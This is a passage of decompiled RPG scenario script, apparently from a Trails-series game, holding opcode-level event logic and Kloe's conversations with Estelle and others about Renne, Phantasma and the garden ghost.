"I've always had this habit of getting really \x01",
"engrossed in things when I'm doing them.\x02",
)
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
label("loc_4B9F")
OP_A2(0xC)
Jump("loc_4D5F")
label("loc_4BA5")
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_4C35")
Jump("loc_4C77")
label("loc_4C35")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_4C51")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_4C77")
label("loc_4C51")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_4C6D")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_4C77")
label("loc_4C6D")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_4C77")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
ChrTalk( #116
0x17,
(
"#1168FThis place is incredibly calming somehow, isn't it?\x02\x03",
"#1168FI might've been more surprised than anything when\x01",
"I first found myself here, but now I'm actually quite\x01",
"comfortable.\x02",
)
)
CloseMessageWindow()
SetChrSubChip(0xFE, 0)
TalkEnd(0xFE)
label("loc_4D5F")
Jump("loc_6653")
label("loc_4D62")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x540, 7)), scpexpr(EXPR_END)), "loc_5CAC")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CC, 6)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_5899")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_4DFC")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
OP_62(0xFE, 0x0, 2000, 0x2, 0x7, 0x50, 0x1)
OP_22(0x27, 0x0, 0x64)
Sleep(1000)
TurnDirection(0x17, 0x110, 400)
ChrTalk( #117
0x17,
(
"#1164FE-Erm... Renne...?\x02\x03",
"#1165FAhaha... Umm...\x02\x03",
"Take care, okay?\x02",
)
)
CloseMessageWindow()
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
Jump("loc_5896")
label("loc_4DFC")
RunExpression(0x2, (scpexpr(EXPR_GET_CHR_WORK, 0x16, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
RunExpression(0x3, (scpexpr(EXPR_GET_CHR_WORK, 0x17, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
EventBegin(0x0)
OP_4A(0x16, 0)
OP_4A(0x17, 0)
TurnDirection(0x16, 0x101, 0)
TurnDirection(0x17, 0x101, 0)
TurnDirection(0x0, 0x17, 0)
TurnDirection(0x1, 0x17, 0)
TurnDirection(0x2, 0x17, 0)
TurnDirection(0x3, 0x17, 0)
RunExpression(0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
RunExpression(0x5, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
RunExpression(0x6, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x3), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
RunExpression(0x7, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_5361")
ChrTalk( #118
0x101,
(
"#1000FKloe?\x02\x03",
"What're you doing here?\x02",
)
)
CloseMessageWindow()
ChrTalk( #119
0x17,
(
"#1164FOh, it's just...\x02\x03",
"#1382FI was just curious how Renne was doing,\x01",
"that's all.\x02",
)
)
CloseMessageWindow()
Sleep(500)
Fade(800)
SetChrPos(0x10F, 58040, 1000, -58350, 129)
SetChrPos(0xF0, 58610, 1000, -57100, 129)
SetChrPos(0xF1, 60960, 1000, -56480, 129)
SetChrPos(0x101, 59430, 1000, -60340, 129)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_4F62")
SetChrPos(0x105, 59050, 1000, -59340, 129)
label("loc_4F62")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_4F81")
SetChrPos(0x102, 59020, 1000, -59390, 81)
label("loc_4F81")
ClearChrFlags(0x101, 0x8)
ClearChrFlags(0x10F, 0x8)
TurnDirection(0x102, 0x17, 0)
TurnDirection(0x101, 0x17, 0)
TurnDirection(0x17, 0x101, 0)
OP_6D(64870, -50, -60500, 0)
OP_67(0, 4290, -10000, 0)
OP_6B(6020, 0)
OP_6C(71000, 0)
OP_6E(203, 0)
OP_0D()
Sleep(500)
ChrTalk( #120
0x17,
(
"#1382FThe two of you have been trying to find\x01",
"her ever since you left Liberl, right?\x02",
)
)
CloseMessageWindow()
ChrTalk( #121
0x102,
(
"#1503FYeah... I don't feel like we got to talk to\x01",
"her properly back at the Axis Pillar.\x02",
)
)
CloseMessageWindow()
ChrTalk( #122
0x101,
(
"#1011FThere's something I really want to tell her,\x01",
"too...and I'm not going to be satisfied until\x01",
"I've done it.\x02",
)
)
CloseMessageWindow()
OP_8C(0x101, 129, 400)
OP_8C(0x17, 129, 400)
OP_8C(0x102, 129, 400)
OP_62(0x101, 0x0, 2000, 0x18, 0x1B, 0xFA, 0x0)
Sleep(2000)
OP_63(0x101)
Sleep(300)
ChrTalk( #123
0x101,
(
"#1016FHeehee. Still, she looks like she's doing okay.\x02\x03",
"#1017FSo I think the best thing to do for now is keep\x01",
"watching over her and see what happens.\x02",
)
)
CloseMessageWindow()
ChrTalk( #124
0x102,
(
"#1501F...That might be for the best, yeah.\x02\x03",
"#1513FAt the end of the day, she needs to be the one who\x01",
"chooses what to do. Nothing good's going to come\x01",
"from pushing her to make that call any faster.\x02\x03",
"I just hope that ending up here with us and\x01",
"everyone else has a positive effect on her.\x02\x03",
"#1500FBut all we can really do is wait and see, huh?\x02",
)
)
CloseMessageWindow()
ChrTalk( #125
0x17,
"#1168F...Yes, I think you're right.\x02",
)
CloseMessageWindow()
Jump("loc_5835")
label("loc_5361")
ChrTalk( #126
0x101,
(
"#1000FHmm?\x02\x03",
"What are the two of you doing here?\x02",
)
)
CloseMessageWindow()
ChrTalk( #127
0x17,
(
"#1164FOh, Estelle.\x02\x03",
"#1382FWe were just talking about Renne.\x02",
)
)
CloseMessageWindow()
Sleep(500)
Fade(800)
SetChrPos(0x10F, 58260, 1000, -58840, 129)
SetChrPos(0xF0, 58610, 1000, -57100, 129)
SetChrPos(0xF1, 60960, 1000, -56480, 129)
SetChrPos(0x101, 59430, 1000, -60340, 129)
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x4)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_5444")
SetChrPos(0x105, 59050, 1000, -59340, 129)
label("loc_5444")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x1)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_545C")
SetChrFlags(0x102, 0x8)
ClearChrFlags(0x16, 0x80)
label("loc_545C")
ClearChrFlags(0x101, 0x8)
ClearChrFlags(0x10F, 0x8)
TurnDirection(0x16, 0x17, 0)
TurnDirection(0x101, 0x17, 0)
TurnDirection(0x17, 0x101, 0)
OP_6D(64870, -50, -60500, 0)
OP_67(0, 4290, -10000, 0)
OP_6B(6020, 0)
OP_6C(71000, 0)
OP_6E(203, 0)
OP_0D()
Sleep(500)
ChrTalk( #128
0x17,
(
"#1382FThe two of you have been trying to find\x01",
"her ever since you left Liberl, right?\x02",
)
)
CloseMessageWindow()
ChrTalk( #129
0x101,
(
"#1003FYeah... I don't feel like we got to talk to\x01",
"her properly back at the Axis Pillar.\x02\x03",
"#1007FThere's something I really want to tell her,\x01",
"too...and I'm not going to be satisfied until\x01",
"I've done it.\x02",
)
)
CloseMessageWindow()
OP_8C(0x101, 129, 400)
OP_8C(0x17, 129, 400)
OP_8C(0x16, 129, 400)
OP_62(0x101, 0x0, 2000, 0x18, 0x1B, 0xFA, 0x0)
Sleep(2000)
OP_63(0x101)
Sleep(300)
ChrTalk( #130
0x101,
(
"#1016FHeehee. Still, she looks like she's doing okay.\x02\x03",
"#1017FSo I think the best thing to do for now is keep\x01",
"watching over her and see what happens.\x02",
)
)
CloseMessageWindow()
ChrTalk( #131
0x16,
(
"#1501F...That might be for the best, yeah.\x02\x03",
"#1513FAt the end of the day, she needs to be the one who\x01",
"chooses what to do. Nothing good's going to come\x01",
"from pushing her to make that call any faster.\x02\x03",
"I just hope that ending up here with us and\x01",
"everyone else has a positive effect on her.\x02\x03",
"#1500FBut all we can really do is wait and see, huh?\x02",
)
)
CloseMessageWindow()
ChrTalk( #132
0x17,
"#1168F...Yes, I think you're right.\x02",
)
CloseMessageWindow()
label("loc_5835")
Sleep(500)
Fade(500)
ClearChrFlags(0x0, 0x8)
ClearChrFlags(0x1, 0x8)
ClearChrFlags(0x2, 0x8)
ClearChrFlags(0x3, 0x8)
OP_51(0x0, 0x1, (scpexpr(EXPR_GET_RESULT, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x2, (scpexpr(EXPR_GET_RESULT, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x3, (scpexpr(EXPR_GET_RESULT, 0x6), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x4, (scpexpr(EXPR_GET_RESULT, 0x7), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_4B(0x16, 0)
OP_4B(0x17, 0)
OP_51(0x16, 0x4, (scpexpr(EXPR_GET_RESULT, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x17, 0x4, (scpexpr(EXPR_GET_RESULT, 0x3), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_A2(0x2666)
EventEnd(0x6)
label("loc_5896")
Jump("loc_5CA9")
label("loc_5899")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 4)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_5B43")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_59D4")
ChrTalk( #133
0x17,
(
"#1162FIf this world really does change as a result\x01",
"of people's thoughts...\x02\x03",
"...then it seems reasonable to assume that\x01",
"someone must have wished for all of us to\x01",
"come together, too.\x02\x03",
"#1169FCould that someone be the Lord of Phantasma?\x01",
"Or is it that ghost?\x02\x03",
"#1167F...Or maybe even us?\x02",
)
)
CloseMessageWindow()
Jump("loc_5B3D")
label("loc_59D4")
ChrTalk( #134
0x17,
(
"#1167FI'm sure it's not going to be easy to come to an\x01",
"understanding with Renne after all she's been\x01",
"through, but you know what? \x02\x03",
"#1168FIf anyone can do it, it's you and Joshua, Estelle.\x02\x03",
"The bond between the two of you is so strong\x01",
"that I'm not sure there's anything you couldn't\x01",
"do together.\x02",
)
)
CloseMessageWindow()
ChrTalk( #135
0x101,
(
"#1008FAwww...\x02\x03",
"#1006FThanks, Kloe. I hope you're right.\x02",
)
)
CloseMessageWindow()
label("loc_5B3D")
OP_A2(0xC)
Jump("loc_5CA6")
label("loc_5B43")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0xF)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_END)), "loc_5BE8")
ChrTalk( #136
0x17,
(
"#1167FNo sooner have we solved one mystery, another\x01",
"presents itself...\x02\x03",
"#1162FAs a game, this is certainly well thought out,\x01",
"to say the least.\x02",
)
)
CloseMessageWindow()
Jump("loc_5CA6")
label("loc_5BE8")
ChrTalk( #137
0x17,
(
"#1383FI'm not sure how much I'll be able to do to help\x01",
"you when it comes to Renne, but I do want to do\x01",
"everything within my power.\x02\x03",
"#1382FSo if there's anything I can do, say the word.\x02",
)
)
CloseMessageWindow()
label("loc_5CA6")
TalkEnd(0xFE)
label("loc_5CA9")
Jump("loc_6653")
label("loc_5CAC")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x540, 4)), scpexpr(EXPR_END)), "loc_5E73")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 4)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_5DC5")
ChrTalk( #138
0x17,
(
"#1160FThis is my first time meeting Richard ever since\x01",
"he officially left the army.\x02\x03",
"#1161FI'd heard his company's name mentioned on a\x01",
"number of occasions since then, though.\x02",
)
)
CloseMessageWindow()
ChrTalk( #139
0x101,
(
"#1004FOh, really?\x02\x03",
"#1015FMaybe it's doing pretty well for itself, then.\x02",
)
)
CloseMessageWindow()
OP_A2(0xC)
Jump("loc_5E6D")
label("loc_5DC5")
ChrTalk( #140
0x17,
(
"#1160FI've heard about Richard's company a number\x01",
"of times since it was first established.\x02\x03",
"#1383FThere've been small adverts for it in magazines,\x01",
"too, I believe.\x02",
)
)
CloseMessageWindow()
label("loc_5E6D")
TalkEnd(0xFE)
Jump("loc_6653")
label("loc_5E73")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x521, 6)), scpexpr(EXPR_END)), "loc_60C8")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 4)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_5FA0")
ChrTalk( #141
0x17,
(
"#1167FWe have every reason to believe that there\x01",
"are still people sealed in stones in this land\x01",
"that we have yet to discover.\x02\x03",
"#1167FWhether that is somewhere in Le Locle or on\x01",
"the next plane, I don't know...but we need to\x01",
"find them.\x02\x03",
"#1162FSo let's keep going. Together.\x02",
)
)
CloseMessageWindow()
OP_A2(0xC)
Jump("loc_60C2")
label("loc_5FA0")
ChrTalk( #142
0x17,
(
"#1162FI'm worried about all the people still trapped\x01",
"in sealing stones here. We should hurry on.\x02\x03",
"#1167F...Althooough, I'm also worried about Ries...\x02",
)
)
CloseMessageWindow()
ChrTalk( #143
0x109,
(
"#1840F(Erk... Why do I get the feeling she knows\x01",
"more than she's letting on?)\x02",
)
)
CloseMessageWindow()
ChrTalk( #144
0x102,
"#1514F(She's a sharp girl. She probably does.)\x02",
)
CloseMessageWindow()
label("loc_60C2")
TalkEnd(0xFE)
Jump("loc_6653")
label("loc_60C8")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x521, 2)), scpexpr(EXPR_END)), "loc_62D9")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
OP_51(0x0, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x0, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_6167")
Jump("loc_61A9")
label("loc_6167")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_6183")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_61A9")
label("loc_6183")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_619F")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_61A9")
label("loc_619F")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_61A9")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x0, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x0, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 4)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_6245")
ChrTalk( #145
0x17,
(
"#1164FOh, I'm just feeding Sieg. He said he was hungry.\x02\x03",
"#1165FHeehee. It won't take long. Promise.\x02",
)
)
CloseMessageWindow()
OP_A2(0xC)
Jump("loc_62C9")
label("loc_6245")
ChrTalk( #146
0x17,
(
"#1160FStill, I'm truly glad that we were able to find\x01",
"plenty of food and water here.\x02\x03",
"We probably owe that to that ghost, too.\x02",
)
)
CloseMessageWindow()
label("loc_62C9")
SetChrSubChip(0xFE, 1)
ClearChrFlags(0xFE, 0x10)
TalkEnd(0xFE)
Jump("loc_6653")
label("loc_62D9")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x520, 5)), scpexpr(EXPR_END)), "loc_647B")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 4)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_63DD")
ChrTalk( #147
0x17,
(
"#1167FI certainly wasn't expecting Anelace to have\x01",
"been drawn in here, too...\x02\x03",
"...\x02\x03",
"#1162FWe should keep up with our investigation as\x01",
"quickly as we can.\x02\x03",
"If you need anything from me, let me know. \x01",
"I'm always happy to lend a hand.\x02",
)
)
CloseMessageWindow()
OP_A2(0xC)
Jump("loc_6475")
label("loc_63DD")
ChrTalk( #148
0x17,
(
"#1162FWe should keep up with our investigation as\x01",
"quickly as we can.\x02\x03",
"If you need anything from me, let me know. \x01",
"I'm always happy to lend a hand.\x02",
)
)
CloseMessageWindow()
label("loc_6475")
TalkEnd(0xFE)
Jump("loc_6653")
label("loc_647B")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x520, 0)), scpexpr(EXPR_END)), "loc_6653")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x4CC, 0)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_EXEC_OP, "OP_42(0x3)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_649C")
Call(5, 5)
Jump("loc_6653")
label("loc_649C")
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x1, 4)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_658E")
ChrTalk( #149
0x17,
(
"#1383FIt has always felt like we were being somehow\x01",
"protected when we were in this garden\x01",
"as opposed to anywhere else in Phantasma...\x02\x03",
"#1160F...so I can certainly believe the idea that it may\x01",
"be connected to that ghost.\x02",
)
)
CloseMessageWindow()
OP_A2(0xC)
Jump("loc_6650")
label("loc_658E")
ChrTalk( #150
0x17,
(
"#1160FIt don't see any reason why this garden wouldn't\x01",
"be connected to that ghost somehow.\x02\x03",
"#1168FHeehee. And I don't mind that one bit. It feels\x01",
"reassuring to know she's watching over us.\x02",
)
)
CloseMessageWindow()
label("loc_6650")
TalkEnd(0xFE)
label("loc_6653")
Return()
# Function_6_46BD end
def Function_7_6654(): pass
label("Function_7_6654")
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x584, 0)), scpexpr(EXPR_END)), "loc_735D")
SetChrFlags(0xFE, 0x10)
TalkBegin(0xFE)
Jc((scpexpr(EXPR_TEST_SCENA_FLAGS, MakeScenarioFlags(0x0, 5)), scpexpr(EXPR_EQUZ), scpexpr(EXPR_END)), "loc_6DC1")
Jc((scpexpr(EXPR_EXEC_OP, "OP_42(0x6)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_EQU), scpexpr(EXPR_EXEC_OP, "OP_42(0x0)"), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_NEG), scpexpr(EXPR_NEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_END)), "loc_69C9")
OP_51(0x101, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
TalkBegin(0xFE)
ClearChrFlags(0xFE, 0x10)
TurnDirection(0xFE, 0x101, 0)
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_IMOD), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x168), scpexpr(EXPR_ADD), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_SUB), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0xB4), scpexpr(EXPR_IDIV), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2D), scpexpr(EXPR_LEQ), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x13B), scpexpr(EXPR_GE), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x195), scpexpr(EXPR_LEQ), scpexpr(EXPR_NEQUZ_I64), scpexpr(EXPR_OR), scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x4), scpexpr(EXPR_PUSH_LONG, 0x2A3), scpexpr(EXPR_GE), scpexpr(EXPR_OR), scpexpr(EXPR_END)), "loc_6714")
Jump("loc_6756")
label("loc_6714")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_LSS), scpexpr(EXPR_END)), "loc_6730")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_6756")
label("loc_6730")
Jc((scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_PUSH_LONG, 0x2), scpexpr(EXPR_GTR), scpexpr(EXPR_END)), "loc_674C")
OP_51(0xFE, 0x8, (scpexpr(EXPR_PUSH_LONG, 0x1), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
Jump("loc_6756")
label("loc_674C")
OP_51(0xFE, 0x8, (scpexpr(EXPR_GET_CHR_WORK, 0xFE, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
label("loc_6756")
OP_51(0xFE, 0x4, (scpexpr(EXPR_GET_CHR_WORK, 0x101, 0x5), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0x101, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
OP_51(0xFE, 0x5, (scpexpr(EXPR_PUSH_LONG, 0x0), scpexpr(EXPR_STUB), scpexpr(EXPR_END)))
SetChrFlags(0xFE, 0x10)
ChrTalk( #151
0x101,
(
"#1015FHuh? Why aren't you hanging out with Tita,\x01",
"Agate?\x02",
)
)
CloseMessageWindow()
